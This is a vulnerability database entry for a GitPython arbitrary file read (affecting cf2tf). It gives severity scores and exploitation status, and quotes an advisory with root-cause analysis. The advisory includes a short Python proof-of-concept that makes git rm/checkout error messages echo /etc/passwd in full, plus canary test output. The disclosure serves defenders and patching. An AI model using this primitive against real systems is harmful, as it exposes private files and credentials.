VulnerabilityPublished 20 Aug 2026Updated 26 Oct 2026

CVE-2026-76217: GitPython · Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()

Affects cf2tfSource GCVE Database

Authoritative record:CVE-2026-76217· High 7.1

Not known to be exploited · CVSS 7.1 High : upgrade to 0.9.2_8 soon.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 4.0 base score

7.1High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.4% chance of exploitation in 30 days – higher than 35% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 0.9.2_8

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: Low
User Interaction: None
Vulnerable system confidentiality: High
Vulnerable system integrity: None
Vulnerable system availability: None
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: Low: The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: High: There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Vulnerable system integrity: None: There is no loss of integrity within the Vulnerable System.
Vulnerable system availability: None: There is no impact to availability within the Vulnerable System.
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 19 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade cf2tf to 0.9.2_8.

Affected software

Product	Affected	Fixed in
Homebrewcf2tf`pkg:brew/cf2tf`Other threats	Affected >=0.6.1 <0.9.2_8	Fixed in 0.9.2_8

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary `IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout` with no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`** makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the entire contents of a caller-chosen file are returned to the caller in band. This is the same primitive as Instance 2 of [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()` with `-F`, arbitrary file read returned in band - at two sites that advisory assessed and cleared. ## Prior art, and why I am filing rather than commenting GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment *"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found"*: | Call site | git command | that advisory's assessment | |---|---|---| | `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found | | `IndexFile.move()` | `mv` | same | | `HEAD.reset()` | `reset` | same | | `HEAD.checkout()` | `checkout` | same | That assessment is very nearly right, and I think that is why it held: with `--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first line**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag of the same option, and the documented way to handle paths containing newlines - makes the whole file one pathspec. ## Root cause `git/index/base.py:991-1043`: ```python def remove(self, items, working_tree=False, **kwargs): ... removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043 ``` `git/refs/head.py:237-268`: ```python def checkout(self, force: bool = False, **kwargs: Any): ... self.repo.git.checkout(self, **kwargs) # line 268 ``` Neither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call. ## Proof of concept ```python from git import Repo from git.exc import GitCommandError repo = Repo("/path/to/repo") kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True) try: repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw) except GitCommandError as e: print(e.stderr) # <- entire file contents ``` Observed on published 3.1.57, against a canary file holding three marked lines: ``` [PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band stderr: 'fatal: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any files' [PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band stderr: 'error: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any file(s) known to git' [PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses [PASS] PRECISION: the GUARDED checkout-index leaks 0/3 ``` The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere. ## Scope correction to the table above Of the four sites cleared with that sentence, **two disclose and two do not**: | Call site | disclosed? | |---|---| | `IndexFile.remove()` → `git rm` | **yes, full file** | | `Head.checkout()` → `git checkout` | **yes, full file** | | `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs | | `IndexFile.move()` → `git mv` | no | The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered.

References

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